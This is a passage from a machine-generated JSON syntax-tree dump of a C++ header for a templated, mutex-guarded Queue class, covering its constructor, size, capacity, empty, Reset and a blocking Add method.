"children": [], "start_point": {"row": 43, "column": 8}, "end_point": {"row": 43, "column": 17}}, {"id": 91, "type": "=", "text": "=", "parent": 89, "children": [], "start_point": {"row": 43, "column": 18}, "end_point": {"row": 43, "column": 19}}, {"id": 92, "type": "identifier", "text": "T", "parent": 89, "children": [], "start_point": {"row": 43, "column": 20}, "end_point": {"row": 43, "column": 21}}, {"id": 93, "type": "declaration", "text": "using const_reference = const T &;", "parent": 51, "children": [94, 95, 98], "start_point": {"row": 44, "column": 2}, "end_point": {"row": 44, "column": 36}}, {"id": 94, "type": "type_identifier", "text": "using", "parent": 93, "children": [], "start_point": {"row": 44, "column": 2}, "end_point": {"row": 44, "column": 7}}, {"id": 95, "type": "init_declarator", "text": "const_reference = const", "parent": 93, "children": [96, 97], "start_point": {"row": 44, "column": 8}, "end_point": {"row": 44, "column": 31}}, {"id": 96, "type": "identifier", "text": "const_reference", "parent": 95, "children": [], "start_point": {"row": 44, "column": 8}, "end_point": {"row": 44, "column": 23}}, {"id": 97, "type": "=", "text": "=", "parent": 95, "children": [], "start_point": {"row": 44, "column": 24}, "end_point": {"row": 44, "column": 25}}, {"id": 98, "type": "ERROR", "text": "T &", "parent": 93, "children": [99], "start_point": {"row": 44, "column": 32}, "end_point": {"row": 44, "column": 35}}, {"id": 99, "type": "identifier", "text": "T", "parent": 98, "children": [], "start_point": {"row": 44, "column": 32}, "end_point": {"row": 44, "column": 33}}, {"id": 100, "type": "declaration", "text": "explicit Queue(int sz)\n : sz_(sz), arr_(Services::GetAllocator<T>()), head_(0), tail_(0), my_name_(Services::GetUniqueID()) {\n Status rc = arr_.allocate(sz);", "parent": 51, "children": [101, 102, 113, 124, 129, 134, 144], "start_point": {"row": 46, "column": 2}, "end_point": {"row": 48, "column": 34}}, {"id": 101, "type": "type_identifier", "text": "explicit", "parent": 100, "children": [], "start_point": {"row": 46, "column": 2}, "end_point": {"row": 46, "column": 10}}, {"id": 102, "type": "ERROR", "text": "Queue(int sz)\n : sz_(sz),", "parent": 100, "children": [103], "start_point": {"row": 46, "column": 11}, "end_point": {"row": 47, "column": 16}}, {"id": 103, "type": "function_declarator", "text": "Queue(int sz)\n : sz_(sz)", "parent": 102, "children": [104, 105, 109], "start_point": {"row": 46, "column": 11}, "end_point": {"row": 47, "column": 15}}, {"id": 104, "type": "identifier", "text": "Queue", "parent": 103, "children": [], "start_point": {"row": 46, "column": 11}, "end_point": {"row": 46, "column": 16}}, {"id": 105, "type": "parameter_list", "text": "(int sz)", "parent": 103, "children": [106], "start_point": {"row": 46, "column": 16}, "end_point": {"row": 46, "column": 24}}, {"id": 106, "type": "parameter_declaration", "text": "int sz", "parent": 105, "children": [107, 108], "start_point": {"row": 46, "column": 17}, "end_point": {"row": 46, "column": 23}}, {"id": 107, "type": "primitive_type", "text": "int", "parent": 106, "children": [], "start_point": {"row": 46, "column": 17}, "end_point": {"row": 46, "column": 20}}, {"id": 108, "type": "identifier", "text": "sz", "parent": 106, "children": [], "start_point": {"row": 46, "column": 21}, "end_point": {"row": 46, "column": 23}}, {"id": 109, "type": "call_expression", "text": "sz_(sz)", "parent": 103, "children": [110, 111], "start_point": {"row": 47, "column": 8}, "end_point": {"row": 47, "column": 15}}, {"id": 110, "type": "identifier", "text": "sz_", "parent": 109, "children": [], "start_point": {"row": 47, "column": 8}, "end_point": {"row": 47, "column": 11}}, {"id": 111, "type": "argument_list", "text": "(sz)", "parent": 109, "children": [112], "start_point": {"row": 47, "column": 11}, "end_point": {"row": 47, "column": 15}}, {"id": 112, "type": "identifier", "text": "sz", "parent": 111, "children": [], "start_point": {"row": 47, "column": 12}, "end_point": {"row": 47, "column": 14}}, {"id": 113, "type": "function_declarator", "text": "arr_(Services::GetAllocator<T>()", "parent": 100, "children": [114, 115], "start_point": {"row": 47, "column": 17}, "end_point": {"row": 47, "column": 49}}, {"id": 114, "type": "identifier", "text": "arr_", "parent": 113, "children": [], "start_point": {"row": 47, "column": 17}, "end_point": {"row": 47, "column": 21}}, {"id": 115, "type": "parameter_list", "text": "(Services::GetAllocator<T>()", "parent": 113, "children": [116, 122], "start_point": {"row": 47, "column": 21}, "end_point": {"row": 47, "column": 49}}, {"id": 116, "type": "parameter_declaration", "text": "Services::GetAllocator<T", "parent": 115, "children": [117, 118, 121], "start_point": {"row": 47, "column": 22}, "end_point": {"row": 47, "column": 46}}, {"id": 117, "type": "type_identifier", "text": "Services", "parent": 116, "children": [], "start_point": {"row": 47, "column": 22}, "end_point": {"row": 47, "column": 30}}, {"id": 118, "type": "ERROR", "text": "::GetAllocator<", "parent": 116, "children": [119, 120], "start_point": {"row": 47, "column": 30}, "end_point": {"row": 47, "column": 45}}, {"id": 119, "type": "identifier", "text": "GetAllocator", "parent": 118, "children": [], "start_point": {"row": 47, "column": 32}, "end_point": {"row": 47, "column": 44}}, {"id": 120, "type": "<", "text": "<", "parent": 118, "children": [], "start_point": {"row": 47, "column": 44}, "end_point": {"row": 47, "column": 45}}, {"id": 121, "type": "identifier", "text": "T", "parent": 116, "children": [], "start_point": {"row": 47, "column": 45}, "end_point": {"row": 47, "column": 46}}, {"id": 122, "type": "ERROR", "text": ">(", "parent": 115, "children": [123], "start_point": {"row": 47, "column": 46}, "end_point": {"row": 47, "column": 48}}, {"id": 123, "type": ">", "text": ">", "parent": 122, "children": [], "start_point": {"row": 47, "column": 46}, "end_point": {"row": 47, "column": 47}}, {"id": 124, "type": "function_declarator", "text": "head_(0)", "parent": 100, "children": [125, 126], "start_point": {"row": 47, "column": 52}, "end_point": {"row": 47, "column": 60}}, {"id": 125, "type": "identifier", "text": "head_", "parent": 124, "children": [], "start_point": {"row": 47, "column": 52}, "end_point": {"row": 47, "column": 57}}, {"id": 126, "type": "parameter_list", "text": "(0)", "parent": 124, "children": [127], "start_point": {"row": 47, "column": 57}, "end_point": {"row": 47, "column": 60}}, {"id": 127, "type": "ERROR", "text": "0", "parent": 126, "children": [128], "start_point": {"row": 47, "column": 58}, "end_point": {"row": 47, "column": 59}}, {"id": 128, "type": "number_literal", "text": "0", "parent": 127, "children": [], "start_point": {"row": 47, "column": 58}, "end_point": {"row": 47, "column": 59}}, {"id": 129, "type": "function_declarator", "text": "tail_(0)", "parent": 100, "children": [130, 131], "start_point": {"row": 47, "column": 62}, "end_point": {"row": 47, "column": 70}}, {"id": 130, "type": "identifier", "text": "tail_", "parent": 129, "children": [], "start_point": {"row": 47, "column": 62}, "end_point": {"row": 47, "column": 67}}, {"id": 131, "type": "parameter_list", "text": "(0)", "parent": 129, "children": [132], "start_point": {"row": 47, "column": 67}, "end_point": {"row": 47, "column": 70}}, {"id": 132, "type": "ERROR", "text": "0", "parent": 131, "children": [133], "start_point": {"row": 47, "column": 68}, "end_point": {"row": 47, "column": 69}}, {"id": 133, "type": "number_literal", "text": "0", "parent": 132, "children": [], "start_point": {"row": 47, "column": 68}, "end_point": {"row": 47, "column": 69}}, {"id": 134, "type": "ERROR", "text": "my_name_(Services::GetUniqueID()) {\n Status", "parent": 100, "children": [135, 143], "start_point": {"row": 47, "column": 72}, "end_point": {"row": 48, "column": 10}}, {"id": 135, "type": "function_declarator", "text": "my_name_(Services::GetUniqueID())", "parent": 134, "children": [136, 137], "start_point": {"row": 47, "column": 72}, "end_point": {"row": 47, "column": 105}}, {"id": 136, "type": "identifier", "text": "my_name_", "parent": 135, "children": [], "start_point": {"row": 47, "column": 72}, "end_point": {"row": 47, "column": 80}}, {"id": 137, "type": "parameter_list", "text": "(Services::GetUniqueID())", "parent": 135, "children": [138], "start_point": {"row": 47, "column": 80}, "end_point": {"row": 47, "column": 105}}, {"id": 138, "type": "parameter_declaration", "text": "Services::GetUniqueID()", "parent": 137, "children": [139, 140], "start_point": {"row": 47, "column": 81}, "end_point": {"row": 47, "column": 104}}, {"id": 139, "type": "type_identifier", "text": "Services", "parent": 138, "children": [], "start_point": {"row": 47, "column": 81}, "end_point": {"row": 47, "column": 89}}, {"id": 140, "type": "function_declarator", "text": "GetUniqueID()", "parent": 138, "children": [141, 142], "start_point": {"row": 47, "column": 91}, "end_point": {"row": 47, "column": 104}}, {"id": 141, "type": "identifier", "text": "GetUniqueID", "parent": 140, "children": [], "start_point": {"row": 47, "column": 91}, "end_point": {"row": 47, "column": 102}}, {"id": 142, "type": "parameter_list", "text": "()", "parent": 140, "children": [], "start_point": {"row": 47, "column": 102}, "end_point": {"row": 47, "column": 104}}, {"id": 143, "type": "identifier", "text": "Status", "parent": 134, "children": [], "start_point": {"row": 48, "column": 4}, "end_point": {"row": 48, "column": 10}}, {"id": 144, "type": "init_declarator", "text": "rc = arr_.allocate(sz)", "parent": 100, "children": [145, 146, 147], "start_point": {"row": 48, "column": 11}, "end_point": {"row": 48, "column": 33}}, {"id": 145, "type": "identifier", "text": "rc", "parent": 144, "children": [], "start_point": {"row": 48, "column": 11}, "end_point": {"row": 48, "column": 13}}, {"id": 146, "type": "=", "text": "=", "parent": 144, "children": [], "start_point": {"row": 48, "column": 14}, "end_point": {"row": 48, "column": 15}}, {"id": 147, "type": "call_expression", "text": "arr_.allocate(sz)", "parent": 144, "children": [148, 151], "start_point": {"row": 48, "column": 16}, "end_point": {"row": 48, "column": 33}}, {"id": 148, "type": "field_expression", "text": "arr_.allocate", "parent": 147, "children": [149, 150], "start_point": {"row": 48, "column": 16}, "end_point": {"row": 48, "column": 29}}, {"id": 149, "type": "identifier", "text": "arr_", "parent": 148, "children": [], "start_point": {"row": 48, "column": 16}, "end_point": {"row": 48, "column": 20}}, {"id": 150, "type": "field_identifier", "text": "allocate", "parent": 148, "children": [], "start_point": {"row": 48, "column": 21}, "end_point": {"row": 48, "column": 29}}, {"id": 151, "type": "argument_list", "text": "(sz)", "parent": 147, "children": [152], "start_point": {"row": 48, "column": 29}, "end_point": {"row": 48, "column": 33}}, {"id": 152, "type": "identifier", "text": "sz", "parent": 151, "children": [], "start_point": {"row": 48, "column": 30}, "end_point": {"row": 48, "column": 32}}, {"id": 153, "type": "if_statement", "text": "if (rc.IsError()) {\n MS_LOG(ERROR) << \"Fail to create a queue.\";\n std::terminate();\n } else {\n MS_LOG(DEBUG) << \"Create Q with uuid \" << my_name_ << \" of size \" << sz_ << \".\";\n }", "parent": 51, "children": [154, 172], "start_point": {"row": 49, "column": 4}, "end_point": {"row": 54, "column": 5}}, {"id": 154, "type": "parenthesized_expression", "text": "(rc.IsError())", "parent": 153, "children": [155], "start_point": {"row": 49, "column": 7}, "end_point": {"row": 49, "column": 21}}, {"id": 155, "type": "call_expression", "text": "rc.IsError()", "parent": 154, "children": [156, 159], "start_point": {"row": 49, "column": 8}, "end_point": {"row": 49, "column": 20}}, {"id": 156, "type": "field_expression", "text": "rc.IsError", "parent": 155, "children": [157, 158], "start_point": {"row": 49, "column": 8}, "end_point": {"row": 49, "column": 18}}, {"id": 157, "type": "identifier", "text": "rc", "parent": 156, "children": [], "start_point": {"row": 49, "column": 8}, "end_point": {"row": 49, "column": 10}}, {"id": 158, "type": "field_identifier", "text": "IsError", "parent": 156, "children": [], "start_point": {"row": 49, "column": 11}, "end_point": {"row": 49, "column": 18}}, {"id": 159, "type": "argument_list", "text": "()", "parent": 155, "children": [], "start_point": {"row": 49, "column": 18}, "end_point": {"row": 49, "column": 20}}, {"id": 160, "type": "binary_expression", "text": "MS_LOG(ERROR) << \"Fail to create a queue.\"", "parent": 153, "children": [161, 165, 166], "start_point": {"row": 50, "column": 6}, "end_point": {"row": 50, "column": 48}}, {"id": 161, "type": "call_expression", "text": "MS_LOG(ERROR)", "parent": 160, "children": [162, 163], "start_point": {"row": 50, "column": 6}, "end_point": {"row": 50, "column": 19}}, {"id": 162, "type": "identifier", "text": "MS_LOG", "parent": 161, "children": [], "start_point": {"row": 50, "column": 6}, "end_point": {"row": 50, "column": 12}}, {"id": 163, "type": "argument_list", "text": "(ERROR)", "parent": 161, "children": [164], "start_point": {"row": 50, "column": 12}, "end_point": {"row": 50, "column": 19}}, {"id": 164, "type": "identifier", "text": "ERROR", "parent": 163, "children": [], "start_point": {"row": 50, "column": 13}, "end_point": {"row": 50, "column": 18}}, {"id": 165, "type": "<<", "text": "<<", "parent": 160, "children": [], "start_point": {"row": 50, "column": 20}, "end_point": {"row": 50, "column": 22}}, {"id": 166, "type": "string_literal", "text": "\"Fail to create a queue.\"", "parent": 160, "children": [], "start_point": {"row": 50, "column": 23}, "end_point": {"row": 50, "column": 48}}, {"id": 167, "type": "labeled_statement", "text": "std::terminate();", "parent": 153, "children": [168], "start_point": {"row": 51, "column": 6}, "end_point": {"row": 51, "column": 23}}, {"id": 168, "type": "statement_identifier", "text": "std", "parent": 167, "children": [], "start_point": {"row": 51, "column": 6}, "end_point": {"row": 51, "column": 9}}, {"id": 169, "type": "call_expression", "text": "terminate()", "parent": 167, "children": [170, 171], "start_point": {"row": 51, "column": 11}, "end_point": {"row": 51, "column": 22}}, {"id": 170, "type": "identifier", "text": "terminate", "parent": 169, "children": [], "start_point": {"row": 51, "column": 11}, "end_point": {"row": 51, "column": 20}}, {"id": 171, "type": "argument_list", "text": "()", "parent": 169, "children": [], "start_point": {"row": 51, "column": 20}, "end_point": {"row": 51, "column": 22}}, {"id": 172, "type": "else_clause", "text": "else {\n MS_LOG(DEBUG) << \"Create Q with uuid \" << my_name_ << \" of size \" << sz_ << \".\";\n }", "parent": 153, "children": [], "start_point": {"row": 52, "column": 6}, "end_point": {"row": 54, "column": 5}}, {"id": 173, "type": "binary_expression", "text": "MS_LOG(DEBUG) << \"Create Q with uuid \" << my_name_ << \" of size \" << sz_ << \".\"", "parent": 172, "children": [174, 190, 191], "start_point": {"row": 53, "column": 6}, "end_point": {"row": 53, "column": 85}}, {"id": 174, "type": "binary_expression", "text": "MS_LOG(DEBUG) << \"Create Q with uuid \" << my_name_ << \" of size \" << sz_", "parent": 173, "children": [175, 188, 189], "start_point": {"row": 53, "column": 6}, "end_point": {"row": 53, "column": 78}}, {"id": 175, "type": "binary_expression", "text": "MS_LOG(DEBUG) << \"Create Q with uuid \" << my_name_ << \" of size \"", "parent": 174, "children": [176, 186, 187], "start_point": {"row": 53, "column": 6}, "end_point": {"row": 53, "column": 71}}, {"id": 176, "type": "binary_expression", "text": "MS_LOG(DEBUG) << \"Create Q with uuid \" << my_name_", "parent": 175, "children": [177, 184, 185], "start_point": {"row": 53, "column": 6}, "end_point": {"row": 53, "column": 56}}, {"id": 177, "type": "binary_expression", "text": "MS_LOG(DEBUG) << \"Create Q with uuid \"", "parent": 176, "children": [178, 182, 183], "start_point": {"row": 53, "column": 6}, "end_point": {"row": 53, "column": 44}}, {"id": 178, "type": "call_expression", "text": "MS_LOG(DEBUG)", "parent": 177, "children": [179, 180], "start_point": {"row": 53, "column": 6}, "end_point": {"row": 53, "column": 19}}, {"id": 179, "type": "identifier", "text": "MS_LOG", "parent": 178, "children": [], "start_point": {"row": 53, "column": 6}, "end_point": {"row": 53, "column": 12}}, {"id": 180, "type": "argument_list", "text": "(DEBUG)", "parent": 178, "children": [181], "start_point": {"row": 53, "column": 12}, "end_point": {"row": 53, "column": 19}}, {"id": 181, "type": "identifier", "text": "DEBUG", "parent": 180, "children": [], "start_point": {"row": 53, "column": 13}, "end_point": {"row": 53, "column": 18}}, {"id": 182, "type": "<<", "text": "<<", "parent": 177, "children": [], "start_point": {"row": 53, "column": 20}, "end_point": {"row": 53, "column": 22}}, {"id": 183, "type": "string_literal", "text": "\"Create Q with uuid \"", "parent": 177, "children": [], "start_point": {"row": 53, "column": 23}, "end_point": {"row": 53, "column": 44}}, {"id": 184, "type": "<<", "text": "<<", "parent": 176, "children": [], "start_point": {"row": 53, "column": 45}, "end_point": {"row": 53, "column": 47}}, {"id": 185, "type": "identifier", "text": "my_name_", "parent": 176, "children": [], "start_point": {"row": 53, "column": 48}, "end_point": {"row": 53, "column": 56}}, {"id": 186, "type": "<<", "text": "<<", "parent": 175, "children": [], "start_point": {"row": 53, "column": 57}, "end_point": {"row": 53, "column": 59}}, {"id": 187, "type": "string_literal", "text": "\" of size \"", "parent": 175, "children": [], "start_point": {"row": 53, "column": 60}, "end_point": {"row": 53, "column": 71}}, {"id": 188, "type": "<<", "text": "<<", "parent": 174, "children": [], "start_point": {"row": 53, "column": 72}, "end_point": {"row": 53, "column": 74}}, {"id": 189, "type": "identifier", "text": "sz_", "parent": 174, "children": [], "start_point": {"row": 53, "column": 75}, "end_point": {"row": 53, "column": 78}}, {"id": 190, "type": "<<", "text": "<<", "parent": 173, "children": [], "start_point": {"row": 53, "column": 79}, "end_point": {"row": 53, "column": 81}}, {"id": 191, "type": "string_literal", "text": "\".\"", "parent": 173, "children": [], "start_point": {"row": 53, "column": 82}, "end_point": {"row": 53, "column": 85}}, {"id": 192, "type": "function_definition", "text": "virtual ~Queue() { ResetQue(); }", "parent": 51, "children": [193, 194, 196], "start_point": {"row": 57, "column": 2}, "end_point": {"row": 57, "column": 34}}, {"id": 193, "type": "type_identifier", "text": "virtual", "parent": 192, "children": [], "start_point": {"row": 57, "column": 2}, "end_point": {"row": 57, "column": 9}}, {"id": 194, "type": "ERROR", "text": "~", "parent": 192, "children": [195], "start_point": {"row": 57, "column": 10}, "end_point": {"row": 57, "column": 11}}, {"id": 195, "type": "~", "text": "~", "parent": 194, "children": [], "start_point": {"row": 57, "column": 10}, "end_point": {"row": 57, "column": 11}}, {"id": 196, "type": "function_declarator", "text": "Queue()", "parent": 192, "children": [197, 198], "start_point": {"row": 57, "column": 11}, "end_point": {"row": 57, "column": 18}}, {"id": 197, "type": "identifier", "text": "Queue", "parent": 196, "children": [], "start_point": {"row": 57, "column": 11}, "end_point": {"row": 57, "column": 16}}, {"id": 198, "type": "parameter_list", "text": "()", "parent": 196, "children": [], "start_point": {"row": 57, "column": 16}, "end_point": {"row": 57, "column": 18}}, {"id": 199, "type": "call_expression", "text": "ResetQue()", "parent": 192, "children": [200, 201], "start_point": {"row": 57, "column": 21}, "end_point": {"row": 57, "column": 31}}, {"id": 200, "type": "identifier", "text": "ResetQue", "parent": 199, "children": [], "start_point": {"row": 57, "column": 21}, "end_point": {"row": 57, "column": 29}}, {"id": 201, "type": "argument_list", "text": "()", "parent": 199, "children": [], "start_point": {"row": 57, "column": 29}, "end_point": {"row": 57, "column": 31}}, {"id": 202, "type": "function_definition", "text": "size_t size() const {\n size_t v = tail_ - head_;\n return (v >= 0) ? v : 0;\n }\n\n size_t capacity() const { return sz_; }", "parent": 51, "children": [203, 204, 207, 216, 228], "start_point": {"row": 59, "column": 2}, "end_point": {"row": 64, "column": 41}}, {"id": 203, "type": "primitive_type", "text": "size_t", "parent": 202, "children": [], "start_point": {"row": 59, "column": 2}, "end_point": {"row": 59, "column": 8}}, {"id": 204, "type": "function_declarator", "text": "size()", "parent": 202, "children": [205, 206], "start_point": {"row": 59, "column": 9}, "end_point": {"row": 59, "column": 15}}, {"id": 205, "type": "identifier", "text": "size", "parent": 204, "children": [], "start_point": {"row": 59, "column": 9}, "end_point": {"row": 59, "column": 13}}, {"id": 206, "type": "parameter_list", "text": "()", "parent": 204, "children": [], "start_point": {"row": 59, "column": 13}, "end_point": {"row": 59, "column": 15}}, {"id": 207, "type": "declaration", "text": "const {\n size_t v = tail_ - head_;", "parent": 202, "children": [208, 209], "start_point": {"row": 59, "column": 16}, "end_point": {"row": 60, "column": 29}}, {"id": 208, "type": "primitive_type", "text": "size_t", "parent": 207, "children": [], "start_point": {"row": 60, "column": 4}, "end_point": {"row": 60, "column": 10}}, {"id": 209, "type": "init_declarator", "text": "v = tail_ - head_", "parent": 207, "children": [210, 211, 212], "start_point": {"row": 60, "column": 11}, "end_point": {"row": 60, "column": 28}}, {"id": 210, "type": "identifier", "text": "v", "parent": 209, "children": [], "start_point": {"row": 60, "column": 11}, "end_point": {"row": 60, "column": 12}}, {"id": 211, "type": "=", "text": "=", "parent": 209, "children": [], "start_point": {"row": 60, "column": 13}, "end_point": {"row": 60, "column": 14}}, {"id": 212, "type": "binary_expression", "text": "tail_ - head_", "parent": 209, "children": [213, 214, 215], "start_point": {"row": 60, "column": 15}, "end_point": {"row": 60, "column": 28}}, {"id": 213, "type": "identifier", "text": "tail_", "parent": 212, "children": [], "start_point": {"row": 60, "column": 15}, "end_point": {"row": 60, "column": 20}}, {"id": 214, "type": "-", "text": "-", "parent": 212, "children": [], "start_point": {"row": 60, "column": 21}, "end_point": {"row": 60, "column": 22}}, {"id": 215, "type": "identifier", "text": "head_", "parent": 212, "children": [], "start_point": {"row": 60, "column": 23}, "end_point": {"row": 60, "column": 28}}, {"id": 216, "type": "declaration", "text": "return (v >= 0) ? v : 0;", "parent": 202, "children": [217, 223, 225, 226], "start_point": {"row": 61, "column": 4}, "end_point": {"row": 61, "column": 28}}, {"id": 217, "type": "macro_type_specifier", "text": "return (v >= 0)", "parent": 216, "children": [218, 220], "start_point": {"row": 61, "column": 4}, "end_point": {"row": 61, "column": 19}}, {"id": 218, "type": "type_descriptor", "text": "v", "parent": 217, "children": [219], "start_point": {"row": 61, "column": 12}, "end_point": {"row": 61, "column": 13}}, {"id": 219, "type": "type_identifier", "text": "v", "parent": 218, "children": [], "start_point": {"row": 61, "column": 12}, "end_point": {"row": 61, "column": 13}}, {"id": 220, "type": "ERROR", "text": ">= 0", "parent": 217, "children": [221, 222], "start_point": {"row": 61, "column": 14}, "end_point": {"row": 61, "column": 18}}, {"id": 221, "type": ">=", "text": ">=", "parent": 220, "children": [], "start_point": {"row": 61, "column": 14}, "end_point": {"row": 61, "column": 16}}, {"id": 222, "type": "number_literal", "text": "0", "parent": 220, "children": [], "start_point": {"row": 61, "column": 17}, "end_point": {"row": 61, "column": 18}}, {"id": 223, "type": "ERROR", "text": "?", "parent": 216, "children": [224], "start_point": {"row": 61, "column": 20}, "end_point": {"row": 61, "column": 21}}, {"id": 224, "type": "?", "text": "?", "parent": 223, "children": [], "start_point": {"row": 61, "column": 20}, "end_point": {"row": 61, "column": 21}}, {"id": 225, "type": "identifier", "text": "v", "parent": 216, "children": [], "start_point": {"row": 61, "column": 22}, "end_point": {"row": 61, "column": 23}}, {"id": 226, "type": "ERROR", "text": ": 0", "parent": 216, "children": [227], "start_point": {"row": 61, "column": 24}, "end_point": {"row": 61, "column": 27}}, {"id": 227, "type": "number_literal", "text": "0", "parent": 226, "children": [], "start_point": {"row": 61, "column": 26}, "end_point": {"row": 61, "column": 27}}, {"id": 228, "type": "ERROR", "text": "}\n\n size_t capacity() const", "parent": 202, "children": [229, 230], "start_point": {"row": 62, "column": 2}, "end_point": {"row": 64, "column": 25}}, {"id": 229, "type": "primitive_type", "text": "size_t", "parent": 228, "children": [], "start_point": {"row": 64, "column": 2}, "end_point": {"row": 64, "column": 8}}, {"id": 230, "type": "function_declarator", "text": "capacity() const", "parent": 228, "children": [231, 232], "start_point": {"row": 64, "column": 9}, "end_point": {"row": 64, "column": 25}}, {"id": 231, "type": "identifier", "text": "capacity", "parent": 230, "children": [], "start_point": {"row": 64, "column": 9}, "end_point": {"row": 64, "column": 17}}, {"id": 232, "type": "parameter_list", "text": "()", "parent": 230, "children": [], "start_point": {"row": 64, "column": 17}, "end_point": {"row": 64, "column": 19}}, {"id": 233, "type": "return_statement", "text": "return sz_;", "parent": 202, "children": [234], "start_point": {"row": 64, "column": 28}, "end_point": {"row": 64, "column": 39}}, {"id": 234, "type": "identifier", "text": "sz_", "parent": 233, "children": [], "start_point": {"row": 64, "column": 35}, "end_point": {"row": 64, "column": 38}}, {"id": 235, "type": "ERROR", "text": "bool empty() const", "parent": 51, "children": [236, 237], "start_point": {"row": 66, "column": 2}, "end_point": {"row": 66, "column": 20}}, {"id": 236, "type": "primitive_type", "text": "bool", "parent": 235, "children": [], "start_point": {"row": 66, "column": 2}, "end_point": {"row": 66, "column": 6}}, {"id": 237, "type": "function_declarator", "text": "empty()", "parent": 235, "children": [238, 239], "start_point": {"row": 66, "column": 7}, "end_point": {"row": 66, "column": 14}}, {"id": 238, "type": "identifier", "text": "empty", "parent": 237, "children": [], "start_point": {"row": 66, "column": 7}, "end_point": {"row": 66, "column": 12}}, {"id": 239, "type": "parameter_list", "text": "()", "parent": 237, "children": [], "start_point": {"row": 66, "column": 12}, "end_point": {"row": 66, "column": 14}}, {"id": 240, "type": "return_statement", "text": "return head_ == tail_;", "parent": 51, "children": [241], "start_point": {"row": 66, "column": 23}, "end_point": {"row": 66, "column": 45}}, {"id": 241, "type": "binary_expression", "text": "head_ == tail_", "parent": 240, "children": [242, 243, 244], "start_point": {"row": 66, "column": 30}, "end_point": {"row": 66, "column": 44}}, {"id": 242, "type": "identifier", "text": "head_", "parent": 241, "children": [], "start_point": {"row": 66, "column": 30}, "end_point": {"row": 66, "column": 35}}, {"id": 243, "type": "==", "text": "==", "parent": 241, "children": [], "start_point": {"row": 66, "column": 36}, "end_point": {"row": 66, "column": 38}}, {"id": 244, "type": "identifier", "text": "tail_", "parent": 241, "children": [], "start_point": {"row": 66, "column": 39}, "end_point": {"row": 66, "column": 44}}, {"id": 245, "type": "function_definition", "text": "void Reset() {\n std::unique_lock<std::mutex> _lock(mux_);\n ResetQue();\n extra_arr_.clear();\n }", "parent": 51, "children": [246, 247], "start_point": {"row": 68, "column": 2}, "end_point": {"row": 72, "column": 3}}, {"id": 246, "type": "primitive_type", "text": "void", "parent": 245, "children": [], "start_point": {"row": 68, "column": 2}, "end_point": {"row": 68, "column": 6}}, {"id": 247, "type": "function_declarator", "text": "Reset()", "parent": 245, "children": [248, 249], "start_point": {"row": 68, "column": 7}, "end_point": {"row": 68, "column": 14}}, {"id": 248, "type": "identifier", "text": "Reset", "parent": 247, "children": [], "start_point": {"row": 68, "column": 7}, "end_point": {"row": 68, "column": 12}}, {"id": 249, "type": "parameter_list", "text": "()", "parent": 247, "children": [], "start_point": {"row": 68, "column": 12}, "end_point": {"row": 68, "column": 14}}, {"id": 250, "type": "labeled_statement", "text": "std::unique_lock<std::mutex> _lock(mux_);", "parent": 245, "children": [251, 252], "start_point": {"row": 69, "column": 4}, "end_point": {"row": 69, "column": 45}}, {"id": 251, "type": "statement_identifier", "text": "std", "parent": 250, "children": [], "start_point": {"row": 69, "column": 4}, "end_point": {"row": 69, "column": 7}}, {"id": 252, "type": "ERROR", "text": "::unique_lock<std:", "parent": 250, "children": [253], "start_point": {"row": 69, "column": 7}, "end_point": {"row": 69, "column": 25}}, {"id": 253, "type": "binary_expression", "text": "unique_lock<std", "parent": 252, "children": [254, 255, 256], "start_point": {"row": 69, "column": 9}, "end_point": {"row": 69, "column": 24}}, {"id": 254, "type": "identifier", "text": "unique_lock", "parent": 253, "children": [], "start_point": {"row": 69, "column": 9}, "end_point": {"row": 69, "column": 20}}, {"id": 255, "type": "<", "text": "<", "parent": 253, "children": [], "start_point": {"row": 69, "column": 20}, "end_point": {"row": 69, "column": 21}}, {"id": 256, "type": "identifier", "text": "std", "parent": 253, "children": [], "start_point": {"row": 69, "column": 21}, "end_point": {"row": 69, "column": 24}}, {"id": 257, "type": "binary_expression", "text": "mutex> _lock(mux_)", "parent": 250, "children": [258, 259, 260], "start_point": {"row": 69, "column": 26}, "end_point": {"row": 69, "column": 44}}, {"id": 258, "type": "identifier", "text": "mutex", "parent": 257, "children": [], "start_point": {"row": 69, "column": 26}, "end_point": {"row": 69, "column": 31}}, {"id": 259, "type": ">", "text": ">", "parent": 257, "children": [], "start_point": {"row": 69, "column": 31}, "end_point": {"row": 69, "column": 32}}, {"id": 260, "type": "call_expression", "text": "_lock(mux_)", "parent": 257, "children": [261, 262], "start_point": {"row": 69, "column": 33}, "end_point": {"row": 69, "column": 44}}, {"id": 261, "type": "identifier", "text": "_lock", "parent": 260, "children": [], "start_point": {"row": 69, "column": 33}, "end_point": {"row": 69, "column": 38}}, {"id": 262, "type": "argument_list", "text": "(mux_)", "parent": 260, "children": [263], "start_point": {"row": 69, "column": 38}, "end_point": {"row": 69, "column": 44}}, {"id": 263, "type": "identifier", "text": "mux_", "parent": 262, "children": [], "start_point": {"row": 69, "column": 39}, "end_point": {"row": 69, "column": 43}}, {"id": 264, "type": "call_expression", "text": "ResetQue()", "parent": 245, "children": [265, 266], "start_point": {"row": 70, "column": 4}, "end_point": {"row": 70, "column": 14}}, {"id": 265, "type": "identifier", "text": "ResetQue", "parent": 264, "children": [], "start_point": {"row": 70, "column": 4}, "end_point": {"row": 70, "column": 12}}, {"id": 266, "type": "argument_list", "text": "()", "parent": 264, "children": [], "start_point": {"row": 70, "column": 12}, "end_point": {"row": 70, "column": 14}}, {"id": 267, "type": "call_expression", "text": "extra_arr_.clear()", "parent": 245, "children": [268, 271], "start_point": {"row": 71, "column": 4}, "end_point": {"row": 71, "column": 22}}, {"id": 268, "type": "field_expression", "text": "extra_arr_.clear", "parent": 267, "children": [269, 270], "start_point": {"row": 71, "column": 4}, "end_point": {"row": 71, "column": 20}}, {"id": 269, "type": "identifier", "text": "extra_arr_", "parent": 268, "children": [], "start_point": {"row": 71, "column": 4}, "end_point": {"row": 71, "column": 14}}, {"id": 270, "type": "field_identifier", "text": "clear", "parent": 268, "children": [], "start_point": {"row": 71, "column": 15}, "end_point": {"row": 71, "column": 20}}, {"id": 271, "type": "argument_list", "text": "()", "parent": 267, "children": [], "start_point": {"row": 71, "column": 20}, "end_point": {"row": 71, "column": 22}}, {"id": 272, "type": "function_definition", "text": "Status Add(const_reference ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(ele));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }", "parent": 51, "children": [273, 274], "start_point": 